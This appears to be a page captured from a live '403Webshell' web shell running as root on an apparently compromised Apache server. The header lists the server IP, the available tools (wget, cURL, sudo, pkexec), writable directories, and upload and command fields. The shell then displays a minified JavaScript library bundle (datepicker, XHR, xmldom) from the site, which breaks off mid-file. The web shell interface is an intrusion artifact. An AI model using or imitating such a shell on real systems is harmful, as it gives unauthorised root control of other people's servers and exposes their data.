403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/bekosupport/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/bekosupport/js/clientlib-all.lc-3a2ca53cd09f751f77310c03497bc7bb-lc.min.js
(()=>{var e={18778:function(e,t,i){!function(e){"use strict";function t(e,t){for(var i=0;i<t.length;i++){var n=t[i];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}e=e&&e.hasOwnProperty("default")?e.default:e;var i={autoShow:!1,autoHide:!1,autoPick:!1,inline:!1,container:null,trigger:null,language:"",format:"mm/dd/yyyy",date:null,startDate:null,endDate:null,startView:0,weekStart:0,yearFirst:!1,yearSuffix:"",days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],daysShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],daysMin:["Su","Mo","Tu","We","Th","Fr","Sa"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],monthsShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],itemTag:"li",mutedClass:"muted",pickedClass:"picked",disabledClass:"disabled",highlightedClass:"highlighted",template:'<div class="datepicker-container"><div class="datepicker-panel" data-view="years picker"><ul><li data-view="years prev">&lsaquo;</li><li data-view="years current"></li><li data-view="years next">&rsaquo;</li></ul><ul data-view="years"></ul></div><div class="datepicker-panel" data-view="months picker"><ul><li data-view="year prev">&lsaquo;</li><li data-view="year current"></li><li data-view="year next">&rsaquo;</li></ul><ul data-view="months"></ul></div><div class="datepicker-panel" data-view="days picker"><ul><li data-view="month prev">&lsaquo;</li><li data-view="month current"></li><li data-view="month next">&rsaquo;</li></ul><ul data-view="week"></ul><ul data-view="days"></ul></div></div>',offset:10,zIndex:1e3,filter:null,show:null,hide:null,pick:null},n="undefined"!=typeof window,r=n?window:{},s=!!n&&"ontouchstart"in r.document.documentElement,a="datepicker",o="click.".concat(a),l="focus.".concat(a),u="hide.".concat(a),c="keyup.".concat(a),d="pick.".concat(a),h="resize.".concat(a),p="scroll.".concat(a),f="show.".concat(a),m="touchstart.".concat(a),g="".concat(a,"-hide"),_={},w=Object.prototype.toString;function T(e){return"string"==typeof e}var k=Number.isNaN||r.isNaN;function S(e){return"number"==typeof e&&!k(e)}function M(e){return void 0===e}function x(e){return"date"===(t=e,w.call(t).slice(8,-1).toLowerCase())&&!k(e.getTime());var t}function L(e,t){for(var i=arguments.length,n=new Array(i>2?i-2:0),r=2;r<i;r++)n[r-2]=arguments[r];return function(){for(var i=arguments.length,r=new Array(i),s=0;s<i;s++)r[s]=arguments[s];return e.apply(t,n.concat(r))}}function C(e){return'[data-view="'.concat(e,'"]')}function D(e){return e%4==0&&e%100!=0||e%400==0}function E(e,t){return[31,D(e)?29:28,31,30,31,30,31,31,30,31,30,31][t]}function P(e,t,i){return Math.min(i,E(e,t))}var A=/(y|m|d)+/g;function I(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1,i=String(Math.abs(e)),n=i.length,r="";for(e<0&&(r+="-");n<t;)n+=1,r+="0";return r+i}var O=/\d+/g,Y={show:function(){this.built||this.build(),this.shown||this.trigger(f).isDefaultPrevented()||(this.shown=!0,this.$picker.removeClass(g).on(o,e.proxy(this.click,this)),this.showView(this.options.startView),this.inline||(this.$scrollParent.on(p,e.proxy(this.place,this)),e(window).on(h,this.onResize=L(this.place,this)),e(document).on(o,this.onGlobalClick=L(this.globalClick,this)),e(document).on(c,this.onGlobalKeyup=L(this.globalKeyup,this)),s&&e(document).on(m,this.onTouchStart=L(this.touchstart,this)),this.place()))},hide:function(){this.shown&&(this.trigger(u).isDefaultPrevented()||(this.shown=!1,this.$picker.addClass(g).off(o,this.click),this.inline||(this.$scrollParent.off(p,this.place),e(window).off(h,this.onResize),e(document).off(o,this.onGlobalClick),e(document).off(c,this.onGlobalKeyup),s&&e(document).off(m,this.onTouchStart))))},toggle:function(){this.shown?this.hide():this.show()},update:function(){var e=this.getValue();e!==this.oldValue&&(this.setDate(e,!0),this.oldValue=e)},pick:function(e){var t=this.$element,i=this.date;this.trigger(d,{view:e||"",date:i}).isDefaultPrevented()||(i=this.formatDate(this.date),this.setValue(i),this.isInput&&(t.trigger("input"),t.trigger("change")))},reset:function(){this.setDate(this.initialDate,!0),this.setValue(this.initialValue),this.shown&&this.showView(this.options.startView)},getMonthName:function(t,i){var n=this.options,r=n.monthsShort,s=n.months;return e.isNumeric(t)?t=Number(t):M(i)&&(i=t),!0===i&&(s=r),s[S(t)?t:this.date.getMonth()]},getDayName:function(t,i,n){var r=this.options,s=r.days;return e.isNumeric(t)?t=Number(t):(M(n)&&(n=i),M(i)&&(i=t)),n?s=r.daysMin:i&&(s=r.daysShort),s[S(t)?t:this.date.getDay()]},getDate:function(e){var t=this.date;return e?this.formatDate(t):new Date(t)},setDate:function(t,i){var n=this.options.filter;if(x(t)||T(t)){if(t=this.parseDate(t),e.isFunction(n)&&!1===n.call(this.$element,t,"day"))return;this.date=t,this.viewDate=new Date(t),i||this.pick(),this.built&&this.render()}},setStartDate:function(e){x(e)||T(e)?this.startDate=this.parseDate(e):this.startDate=null,this.built&&this.render()},setEndDate:function(e){x(e)||T(e)?this.endDate=this.parseDate(e):this.endDate=null,this.built&&this.render()},parseDate:function(t){var i=this.format,n=[];return x(t)||(T(t)&&(n=t.match(O)||[]),x(t=t?new Date(t):new Date)||(t=new Date),n.length===i.parts.length&&(e.each(n,(function(e,n){var r=parseInt(n,10);switch(i.parts[e]){case"yy":t.setFullYear(2e3+r);break;case"yyyy":t.setFullYear(2===n.length?2e3+r:r);break;case"mm":case"m":t.setMonth(r-1)}})),e.each(n,(function(e,n){var r=parseInt(n,10);switch(i.parts[e]){case"dd":case"d":t.setDate(r)}})))),new Date(t.getFullYear(),t.getMonth(),t.getDate())},formatDate:function(t){var i=this.format,n="";if(x(t)){var r=t.getFullYear(),s=t.getMonth(),a=t.getDate(),o={d:a,dd:I(a,2),m:s+1,mm:I(s+1,2),yy:String(r).substring(2),yyyy:I(r,4)};n=i.source,e.each(i.parts,(function(e,t){n=n.replace(t,o[t])}))}return n},destroy:function(){this.unbind(),this.unbuild(),this.$element.removeData(a)}},$={click:function(t){var i=e(t.target),n=this.options,r=this.date,s=this.viewDate,a=this.format;if(t.stopPropagation(),t.preventDefault(),!i.hasClass("disabled")){var o=i.data("view"),l=s.getFullYear(),u=s.getMonth(),c=s.getDate();switch(o){case"years prev":case"years next":l="years prev"===o?l-10:l+10,s.setFullYear(l),s.setDate(P(l,u,c)),this.renderYears();break;case"year prev":case"year next":l="year prev"===o?l-1:l+1,s.setFullYear(l),s.setDate(P(l,u,c)),this.renderMonths();break;case"year current":a.hasYear&&this.showView(2);break;case"year picked":a.hasMonth?this.showView(1):(i.siblings(".".concat(n.pickedClass)).removeClass(n.pickedClass).data("view","year"),this.hideView()),this.pick("year");break;case"year":l=parseInt(i.text(),10),r.setDate(P(l,u,c)),r.setFullYear(l),s.setDate(P(l,u,c)),s.setFullYear(l),a.hasMonth?this.showView(1):(i.addClass(n.pickedClass).data("view","year picked").siblings(".".concat(n.pickedClass)).removeClass(n.pickedClass).data("view","year"),this.hideView()),this.pick("year");break;case"month prev":case"month next":(u="month prev"===o?u-1:u+1)<0?(l-=1,u+=12):u>11&&(l+=1,u-=12),s.setFullYear(l),s.setDate(P(l,u,c)),s.setMonth(u),this.renderDays();break;case"month current":a.hasMonth&&this.showView(1);break;case"month picked":a.hasDay?this.showView(0):(i.siblings(".".concat(n.pickedClass)).removeClass(n.pickedClass).data("view","month"),this.hideView()),this.pick("month");break;case"month":u=e.inArray(i.text(),n.monthsShort),r.setFullYear(l),r.setDate(P(l,u,c)),r.setMonth(u),s.setFullYear(l),s.setDate(P(l,u,c)),s.setMonth(u),a.hasDay?this.showView(0):(i.addClass(n.pickedClass).data("view","month picked").siblings(".".concat(n.pickedClass)).removeClass(n.pickedClass).data("view","month"),this.hideView()),this.pick("month");break;case"day prev":case"day next":case"day":"day prev"===o?u-=1:"day next"===o&&(u+=1),c=parseInt(i.text(),10),r.setDate(1),r.setFullYear(l),r.setMonth(u),r.setDate(c),s.setDate(1),s.setFullYear(l),s.setMonth(u),s.setDate(c),this.renderDays(),"day"===o&&this.hideView(),this.pick("day");break;case"day picked":this.hideView(),this.pick("day")}}},globalClick:function(e){for(var t=e.target,i=this.element,n=this.$trigger[0],r=!0;t!==document;){if(t===n||t===i){r=!1;break}t=t.parentNode}r&&this.hide()},keyup:function(){this.update()},globalKeyup:function(e){var t=e.target,i=e.key,n=e.keyCode;this.isInput&&t!==this.element&&this.shown&&("Tab"===i||9===n)&&this.hide()},touchstart:function(t){var i=t.target;this.isInput&&i!==this.element&&!e.contains(this.$picker[0],i)&&(this.hide(),this.element.blur())}},j={render:function(){this.renderYears(),this.renderMonths(),this.renderDays()},renderWeek:function(){var t=this,i=[],n=this.options,r=n.weekStart,s=n.daysMin;r=parseInt(r,10)%7,s=s.slice(r).concat(s.slice(0,r)),e.each(s,(function(e,n){i.push(t.createItem({text:n}))})),this.$week.html(i.join(""))},renderYears:function(){var e,t=this.options,i=this.startDate,n=this.endDate,r=t.disabledClass,s=t.filter,a=t.yearSuffix,o=this.viewDate.getFullYear(),l=(new Date).getFullYear(),u=this.date.getFullYear(),c=[],d=!1,h=!1;for(e=-5;e<=6;e+=1){var p=new Date(o+e,1,1),f=!1;i&&(f=p.getFullYear()<i.getFullYear(),-5===e&&(d=f)),!f&&n&&(f=p.getFullYear()>n.getFullYear(),6===e&&(h=f)),!f&&s&&(f=!1===s.call(this.$element,p,"year"));var m=o+e===u,g=m?"year picked":"year";c.push(this.createItem({picked:m,disabled:f,text:o+e,view:f?"year disabled":g,highlighted:p.getFullYear()===l}))}this.$yearsPrev.toggleClass(r,d),this.$yearsNext.toggleClass(r,h),this.$yearsCurrent.toggleClass(r,!0).html("".concat(o+-5+a," - ").concat(o+6).concat(a)),this.$years.html(c.join(""))},renderMonths:function(){var t,i=this.options,n=this.startDate,r=this.endDate,s=this.viewDate,a=i.disabledClass||"",o=i.monthsShort,l=e.isFunction(i.filter)&&i.filter,u=s.getFullYear(),c=new Date,d=c.getFullYear(),h=c.getMonth(),p=this.date.getFullYear(),f=this.date.getMonth(),m=[],g=!1,_=!1;for(t=0;t<=11;t+=1){var v=new Date(u,t,1),y=!1;n&&(y=(g=v.getFullYear()===n.getFullYear())&&v.getMonth()<n.getMonth()),!y&&r&&(y=(_=v.getFullYear()===r.getFullYear())&&v.getMonth()>r.getMonth()),!y&&l&&(y=!1===l.call(this.$element,v,"month"));var b=u===p&&t===f,w=b?"month picked":"month";m.push(this.createItem({disabled:y,picked:b,highlighted:u===d&&v.getMonth()===h,index:t,text:o[t],view:y?"month disabled":w}))}this.$yearPrev.toggleClass(a,g),this.$yearNext.toggleClass(a,_),this.$yearCurrent.toggleClass(a,g&&_).html(u+i.yearSuffix||""),this.$months.html(m.join(""))},renderDays:function(){var e,t,i,n=this.$element,r=this.options,s=this.startDate,a=this.endDate,o=this.viewDate,l=this.date,u=r.disabledClass,c=r.filter,d=r.months,h=r.weekStart,p=r.yearSuffix,f=o.getFullYear(),m=o.getMonth(),g=new Date,_=g.getFullYear(),v=g.getMonth(),y=g.getDate(),b=l.getFullYear(),w=l.getMonth(),T=l.getDate(),k=[],S=f,M=m,x=!1;0===m?(S-=1,M=11):M-=1,e=E(S,M);var L=new Date(f,m,1);for((i=L.getDay()-parseInt(h,10)%7)<=0&&(i+=7),s&&(x=L.getTime()<=s.getTime()),t=e-(i-1);t<=e;t+=1){var C=new Date(S,M,t),D=!1;s&&(D=C.getTime()<s.getTime()),!D&&c&&(D=!1===c.call(n,C,"day")),k.push(this.createItem({disabled:D,highlighted:S===_&&M===v&&C.getDate()===y,muted:!0,picked:S===b&&M===w&&t===T,text:t,view:"day prev"}))}var P=[],A=f,I=m,O=!1;11===m?(A+=1,I=0):I+=1,e=E(f,m),i=42-(k.length+e);var Y=new Date(f,m,e);for(a&&(O=Y.getTime()>=a.getTime()),t=1;t<=i;t+=1){var $=new Date(A,I,t),j=A===b&&I===w&&t===T,N=!1;a&&(N=$.getTime()>a.getTime()),!N&&c&&(N=!1===c.call(n,$,"day")),P.push(this.createItem({disabled:N,picked:j,highlighted:A===_&&I===v&&$.getDate()===y,muted:!0,text:t,view:"day next"}))}var R=[];for(t=1;t<=e;t+=1){var H=new Date(f,m,t),F=!1;s&&(F=H.getTime()<s.getTime()),!F&&a&&(F=H.getTime()>a.getTime()),!F&&c&&(F=!1===c.call(n,H,"day"));var B=f===b&&m===w&&t===T,U=B?"day picked":"day";R.push(this.createItem({disabled:F,picked:B,highlighted:f===_&&m===v&&H.getDate()===y,text:t,view:F?"day disabled":U}))}this.$monthPrev.toggleClass(u,x),this.$monthNext.toggleClass(u,O),this.$monthCurrent.toggleClass(u,x&&O).html(r.yearFirst?"".concat(f+p," ").concat(d[m]):"".concat(d[m]," ").concat(f).concat(p)),this.$days.html(k.join("")+R.join("")+P.join(""))}},N="".concat(a,"-top-left"),R="".concat(a,"-top-right"),H="".concat(a,"-bottom-left"),F="".concat(a,"-bottom-right"),B=[N,R,H,F].join(" "),U=function(){function n(t){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};(function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")})(this,n),this.$element=e(t),this.element=t,this.options=e.extend({},i,_[r.language],e.isPlainObject(r)&&r),this.$scrollParent=function(t){var i=arguments.length>1&&void 0!==arguments[1]&&arguments[1],n=e(t),r=n.css("position"),s="absolute"===r,a=i?/auto|scroll|hidden/:/auto|scroll/,o=n.parents().filter((function(t,i){var n=e(i);return(!s||"static"!==n.css("position"))&&a.test(n.css("overflow")+n.css("overflow-y")+n.css("overflow-x"))})).eq(0);return"fixed"!==r&&o.length?o:e(t.ownerDocument||document)}(t,!0),this.built=!1,this.shown=!1,this.isInput=!1,this.inline=!1,this.initialValue="",this.initialDate=null,this.startDate=null,this.endDate=null,this.init()}return r=n,s=[{key:"init",value:function(){var t=this.$element,i=this.options,n=i.startDate,r=i.endDate,s=i.date;this.$trigger=e(i.trigger),this.isInput=t.is("input")||t.is("textarea"),this.inline=i.inline&&(i.container||!this.isInput),this.format=function(t){var i=String(t).toLowerCase(),n=i.match(A);if(!n||0===n.length)throw new Error("Invalid date format.");return t={source:i,parts:n},e.each(n,(function(e,i){switch(i){case"dd":case"d":t.hasDay=!0;break;case"mm":case"m":t.hasMonth=!0;break;case"yyyy":case"yy":t.hasYear=!0}})),t}(i.format);var a=this.getValue();this.initialValue=a,this.oldValue=a,s=this.parseDate(s||a),n&&(n=this.parseDate(n),s.getTime()<n.getTime()&&(s=new Date(n)),this.startDate=n),r&&(r=this.parseDate(r),n&&r.getTime()<n.getTime()&&(r=new Date(n)),s.getTime()>r.getTime()&&(s=new Date(r)),this.endDate=r),this.date=s,this.viewDate=new Date(s),this.initialDate=new Date(this.date),this.bind(),(i.autoShow||this.inline)&&this.show(),i.autoPick&&this.pick()}},{key:"build",value:function(){if(!this.built){this.built=!0;var t=this.$element,i=this.options,n=e(i.template);this.$picker=n,this.$week=n.find(C("week")),this.$yearsPicker=n.find(C("years picker")),this.$yearsPrev=n.find(C("years prev")),this.$yearsNext=n.find(C("years next")),this.$yearsCurrent=n.find(C("years current")),this.$years=n.find(C("years")),this.$monthsPicker=n.find(C("months picker")),this.$yearPrev=n.find(C("year prev")),this.$yearNext=n.find(C("year next")),this.$yearCurrent=n.find(C("year current")),this.$months=n.find(C("months")),this.$daysPicker=n.find(C("days picker")),this.$monthPrev=n.find(C("month prev")),this.$monthNext=n.find(C("month next")),this.$monthCurrent=n.find(C("month current")),this.$days=n.find(C("days")),this.inline?e(i.container||t).append(n.addClass("".concat(a,"-inline"))):(e(document.body).append(n.addClass("".concat(a,"-dropdown"))),n.addClass(g).css({zIndex:parseInt(i.zIndex,10)})),this.renderWeek()}}},{key:"unbuild",value:function(){this.built&&(this.built=!1,this.$picker.remove())}},{key:"bind",value:function(){var t=this.options,i=this.$element;e.isFunction(t.show)&&i.on(f,t.show),e.isFunction(t.hide)&&i.on(u,t.hide),e.isFunction(t.pick)&&i.on(d,t.pick),this.isInput&&i.on(c,e.proxy(this.keyup,this)),this.inline||(t.trigger?this.$trigger.on(o,e.proxy(this.toggle,this)):this.isInput?i.on(l,e.proxy(this.show,this)):i.on(o,e.proxy(this.show,this)))}},{key:"unbind",value:function(){var t=this.$element,i=this.options;e.isFunction(i.show)&&t.off(f,i.show),e.isFunction(i.hide)&&t.off(u,i.hide),e.isFunction(i.pick)&&t.off(d,i.pick),this.isInput&&t.off(c,this.keyup),this.inline||(i.trigger?this.$trigger.off(o,this.toggle):this.isInput?t.off(l,this.show):t.off(o,this.show))}},{key:"showView",value:function(e){var t=this.$yearsPicker,i=this.$monthsPicker,n=this.$daysPicker,r=this.format;if(r.hasYear||r.hasMonth||r.hasDay)switch(Number(e)){case 2:i.addClass(g),n.addClass(g),r.hasYear?(this.renderYears(),t.removeClass(g),this.place()):this.showView(0);break;case 1:t.addClass(g),n.addClass(g),r.hasMonth?(this.renderMonths(),i.removeClass(g),this.place()):this.showView(2);break;default:t.addClass(g),i.addClass(g),r.hasDay?(this.renderDays(),n.removeClass(g),this.place()):this.showView(1)}}},{key:"hideView",value:function(){!this.inline&&this.options.autoHide&&this.hide()}},{key:"place",value:function(){if(!this.inline){var t=this.$element,i=this.options,n=this.$picker,r=e(document).outerWidth(),s=e(document).outerHeight(),a=t.outerWidth(),o=t.outerHeight(),l=n.width(),u=n.height(),c=t.offset(),d=c.left,h=c.top,p=parseFloat(i.offset),f=N;k(p)&&(p=10),h>u&&h+o+u>s?(h-=u+p,f=H):h+=o+p,d+l>r&&(d+=a-l,f=f.replace("left","right")),n.removeClass(B).addClass(f).css({top:h,left:d})}}},{key:"trigger",value:function(t,i){var n=e.Event(t,i);return this.$element.trigger(n),n}},{key:"createItem",value:function(t){var i=this.options,n=i.itemTag,r={text:"",view:"",muted:!1,picked:!1,disabled:!1,highlighted:!1},s=[];return e.extend(r,t),r.muted&&s.push(i.mutedClass),r.highlighted&&s.push(i.highlightedClass),r.picked&&s.push(i.pickedClass),r.disabled&&s.push(i.disabledClass),"<".concat(n,' class="').concat(s.join(" "),'" data-view="').concat(r.view,'">').concat(r.text,"</").concat(n,">")}},{key:"getValue",value:function(){var e=this.$element;return this.isInput?e.val():e.text()}},{key:"setValue",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",t=this.$element;this.isInput?t.val(e):this.inline&&!this.options.container||t.text(e)}}],h=[{key:"setDefaults",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};e.extend(i,_[t.language],e.isPlainObject(t)&&t)}}],s&&t(r.prototype,s),h&&t(r,h),n;var r,s,h}();if(e.extend&&e.extend(U.prototype,j,$,Y),e.fn){var W=e.fn.datepicker;e.fn.datepicker=function(t){for(var i=arguments.length,n=new Array(i>1?i-1:0),r=1;r<i;r++)n[r-1]=arguments[r];var s;return this.each((function(i,r){var o=e(r),l="destroy"===t,u=o.data(a);if(!u){if(l)return;var c=e.extend({},o.data(),e.isPlainObject(t)&&t);u=new U(r,c),o.data(a,u)}if(T(t)){var d=u[t];e.isFunction(d)&&(s=d.apply(u,n),l&&o.removeData(a))}})),M(s)?this:s},e.fn.datepicker.Constructor=U,e.fn.datepicker.languages=_,e.fn.datepicker.setDefaults=U.setDefaults,e.fn.datepicker.noConflict=function(){return e.fn.datepicker=W,this}}}(i(19755))},13490:(e,t,i)=>{"use strict";var n=i(58908);e.exports=function(e,t){return void 0===t&&(t=!1),function(i,r,s){if(i)e(i);else if(r.statusCode>=400&&r.statusCode<=599){var a=s;if(t)if(n.TextDecoder){var o=(void 0===(l=r.headers&&r.headers["content-type"])&&(l=""),l.toLowerCase().split(";").reduce((function(e,t){var i=t.split("="),n=i[0],r=i[1];return"charset"===n.trim()?r.trim():e}),"utf-8"));try{a=new TextDecoder(o).decode(s)}catch(e){}}else a=String.fromCharCode.apply(null,new Uint8Array(s));e({cause:a})}else e(null,s);var l}}},38274:(e,t,i)=>{"use strict";var n=i(58908),r=i(10434),s=i(27376);l.httpHandler=i(13490);var a=function(e){var t={};return e?(e.trim().split("\n").forEach((function(e){var i=e.indexOf(":"),n=e.slice(0,i).trim().toLowerCase(),r=e.slice(i+1).trim();void 0===t[n]?t[n]=r:Array.isArray(t[n])?t[n].push(r):t[n]=[t[n],r]})),t):t};function o(e,t,i){var n=e;return s(t)?(i=t,"string"==typeof e&&(n={uri:e})):n=r({},t,{uri:e}),n.callback=i,n}function l(e,t,i){return u(t=o(e,t,i))}function u(e){if(void 0===e.callback)throw new Error("callback argument missing");var t=!1,i=function(i,n,r){t||(t=!0,e.callback(i,n,r))};function n(){var e=void 0;if(e=c.response?c.response:c.responseText||function(e){try{if("document"===e.responseType)return e.responseXML;var t=e.responseXML&&"parsererror"===e.responseXML.documentElement.nodeName;if(""===e.responseType&&!t)return e.responseXML}catch(e){}return null}(c),_)try{e=JSON.parse(e)}catch(e){}return e}function r(e){return clearTimeout(d),e instanceof Error||(e=new Error(""+(e||"Unknown XMLHttpRequest Error"))),e.statusCode=0,i(e,v)}function s(){if(!u){var t;clearTimeout(d),t=e.useXDR&&void 0===c.status?200:1223===c.status?204:c.status;var r=v,s=null;return 0!==t?(r={body:n(),statusCode:t,method:p,headers:{},url:h,rawRequest:c},c.getAllResponseHeaders&&(r.headers=a(c.getAllResponseHeaders()))):s=new Error("Internal XMLHttpRequest Error"),i(s,r,r.body)}}var o,u,c=e.xhr||null;c||(c=e.cors||e.useXDR?new l.XDomainRequest:new l.XMLHttpRequest);var d,h=c.url=e.uri||e.url,p=c.method=e.method||"GET",f=e.body||e.data,m=c.headers=e.headers||{},g=!!e.sync,_=!1,v={body:void 0,headers:{},statusCode:0,method:p,url:h,rawRequest:c};if("json"in e&&!1!==e.json&&(_=!0,m.accept||m.Accept||(m.Accept="application/json"),"GET"!==p&&"HEAD"!==p&&(m["content-type"]||m["Content-Type"]||(m["Content-Type"]="application/json"),f=JSON.stringify(!0===e.json?f:e.json))),c.onreadystatechange=function(){4===c.readyState&&setTimeout(s,0)},c.onload=s,c.onerror=r,c.onprogress=function(){},c.onabort=function(){u=!0},c.ontimeout=r,c.open(p,h,!g,e.username,e.password),g||(c.withCredentials=!!e.withCredentials),!g&&e.timeout>0&&(d=setTimeout((function(){if(!u){u=!0,c.abort("timeout");var e=new Error("XMLHttpRequest timeout");e.code="ETIMEDOUT",r(e)}}),e.timeout)),c.setRequestHeader)for(o in m)m.hasOwnProperty(o)&&c.setRequestHeader(o,m[o]);else if(e.headers&&!function(e){for(var t in e)if(e.hasOwnProperty(t))return!1;return!0}(e.headers))throw new Error("Headers cannot be set on an XDomainRequest object");return"responseType"in e&&(c.responseType=e.responseType),"beforeSend"in e&&"function"==typeof e.beforeSend&&e.beforeSend(c),c.send(f||null),c}e.exports=l,e.exports.default=l,l.XMLHttpRequest=n.XMLHttpRequest||function(){},l.XDomainRequest="withCredentials"in new l.XMLHttpRequest?l.XMLHttpRequest:n.XDomainRequest,function(e,t){for(var i=0;i<e.length;i++)t(e[i])}(["get","put","post","patch","head","delete"],(function(e){l["delete"===e?"del":e]=function(t,i,n){return(i=o(t,i,n)).method=e.toUpperCase(),u(i)}}))},72167:(e,t)=>{"use strict";function i(e,t){return void 0===t&&(t=Object),t&&"function"==typeof t.freeze?t.freeze(e):e}var n=i({HTML:"text/html",isHTML:function(e){return e===n.HTML},XML_APPLICATION:"application/xml",XML_TEXT:"text/xml",XML_XHTML_APPLICATION:"application/xhtml+xml",XML_SVG_IMAGE:"image/svg+xml"}),r=i({HTML:"http://www.w3.org/1999/xhtml",isHTML:function(e){return e===r.HTML},SVG:"http://www.w3.org/2000/svg",XML:"http://www.w3.org/XML/1998/namespace",XMLNS:"http://www.w3.org/2000/xmlns/"});t.assign=function(e,t){if(null===e||"object"!=typeof e)throw new TypeError("target is not an object");for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e},t.find=function(e,t,i){if(void 0===i&&(i=Array.prototype),e&&"function"==typeof i.find)return i.find.call(e,t);for(var n=0;n<e.length;n++)if(Object.prototype.hasOwnProperty.call(e,n)){var r=e[n];if(t.call(void 0,r,n,e))return r}},t.freeze=i,t.MIME_TYPE=n,t.NAMESPACE=r},86129:(e,t,i)=>{var n=i(72167),r=i(41146),s=i(31045),a=i(76925),o=r.DOMImplementation,l=n.NAMESPACE,u=a.ParseError,c=a.XMLReader;function d(e){return e.replace(/\r[\n\u0085]/g,"\n").replace(/[\r\u0085\u2028]/g,"\n")}function h(e){this.options=e||{locator:{}}}function p(){this.cdata=!1}function f(e,t){t.lineNumber=e.lineNumber,t.columnNumber=e.columnNumber}function m(e){if(e)return"\n@"+(e.systemId||"")+"#[line:"+e.lineNumber+",col:"+e.columnNumber+"]"}function g(e,t,i){return"string"==typeof e?e.substr(t,i):e.length>=t+i||t?new java.lang.String(e,t,i)+"":e}function _(e,t){e.currentElement?e.currentElement.appendChild(t):e.doc.appendChild(t)}h.prototype.parseFromString=function(e,t){var i=this.options,n=new c,r=i.domBuilder||new p,a=i.errorHandler,o=i.locator,u=i.xmlns||{},h=/\/x?html?$/.test(t),f=h?s.HTML_ENTITIES:s.XML_ENTITIES;o&&r.setDocumentLocator(o),n.errorHandler=function(e,t,i){if(!e){if(t instanceof p)return t;e=t}var n={},r=e instanceof Function;function s(t){var s=e[t];!s&&r&&(s=2==e.length?function(i){e(t,i)}:e),n[t]=s&&function(e){s("[xmldom "+t+"]\t"+e+m(i))}||function(){}}return i=i||{},s("warning"),s("error"),s("fatalError"),n}(a,r,o),n.domBuilder=i.domBuilder||r,h&&(u[""]=l.HTML),u.xml=u.xml||l.XML;var g=i.normalizeLineEndings||d;return e&&"string"==typeof e?n.parse(g(e),u,f):n.errorHandler.error("invalid doc source"),r.doc},p.prototype={startDocument:function(){this.doc=(new o).createDocument(null,null,null),this.locator&&(this.doc.documentURI=this.locator.systemId)},startElement:function(e,t,i,n){var r=this.doc,s=r.createElementNS(e,i||t),a=n.length;_(this,s),this.currentElement=s,this.locator&&f(this.locator,s);for(var o=0;o<a;o++){e=n.getURI(o);var l=n.getValue(o),u=(i=n.getQName(o),r.createAttributeNS(e,i));this.locator&&f(n.getLocator(o),u),u.value=u.nodeValue=l,s.setAttributeNode(u)}},endElement:function(e,t,i){var n=this.currentElement;n.tagName,this.currentElement=n.parentNode},startPrefixMapping:function(e,t){},endPrefixMapping:function(e){},processingInstruction:function(e,t){var i=this.doc.createProcessingInstruction(e,t);this.locator&&f(this.locator,i),_(this,i)},ignorableWhitespace:function(e,t,i){},characters:function(e,t,i){if(e=g.apply(this,arguments)){if(this.cdata)var n=this.doc.createCDATASection(e);else n=this.doc.createTextNode(e);this.currentElement?this.currentElement.appendChild(n):/^\s*$/.test(e)&&this.doc.appendChild(n),this.locator&&f(this.locator,n)}},skippedEntity:function(e){},endDocument:function(){this.doc.normalize()},setDocumentLocator:function(e){(this.locator=e)&&(e.lineNumber=0)},comment:function(e,t,i){e=g.apply(this,arguments);var n=this.doc.createComment(e);this.locator&&f(this.locator,n),_(this,n)},startCDATA:function(){this.cdata=!0},endCDATA:function(){this.cdata=!1},startDTD:function(e,t,i){var n=this.doc.implementation;if(n&&n.createDocumentType){var r=n.createDocumentType(e,t,i);this.locator&&f(this.locator,r),_(this,r),this.doc.doctype=r}},warning:function(e){console.warn("[xmldom warning]\t"+e,m(this.locator))},error:function(e){console.error("[xmldom error]\t"+e,m(this.locator))},fatalError:function(e){throw new u(e,this.locator)}},"endDTD,startEntity,endEntity,attributeDecl,elementDecl,externalEntityDecl,internalEntityDecl,resolveEntity,getExternalSubset,notationDecl,unparsedEntityDecl".replace(/\w+/g,(function(e){p.prototype[e]=function(){return null}})),t.DOMParser=h},41146:(e,t,i)=>{var n=i(72167),r=n.find,s=n.NAMESPACE;function a(e){return""!==e}function o(e,t){return e.hasOwnProperty(t)||(e[t]=!0),e}function l(e){if(!e)return[];var t=function(e){return e?e.split(/[\t\n\f\r ]+/).filter(a):[]}(e);return Object.keys(t.reduce(o,{}))}function u(e,t){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])}function c(e,t){var i=e.prototype;if(!(i instanceof t)){function n(){}n.prototype=t.prototype,u(i,n=new n),e.prototype=i=n}i.constructor!=e&&("function"!=typeof e&&console.error("unknown Class:"+e),i.constructor=e)}var d={},h=d.ELEMENT_NODE=1,p=d.ATTRIBUTE_NODE=2,f=d.TEXT_NODE=3,m=d.CDATA_SECTION_NODE=4,g=d.ENTITY_REFERENCE_NODE=5,_=d.ENTITY_NODE=6,v=d.PROCESSING_INSTRUCTION_NODE=7,y=d.COMMENT_NODE=8,b=d.DOCUMENT_NODE=9,w=d.DOCUMENT_TYPE_NODE=10,T=d.DOCUMENT_FRAGMENT_NODE=11,k=d.NOTATION_NODE=12,S={},M={},x=(S.INDEX_SIZE_ERR=(M[1]="Index size error",1),S.DOMSTRING_SIZE_ERR=(M[2]="DOMString size error",2),S.HIERARCHY_REQUEST_ERR=(M[3]="Hierarchy request 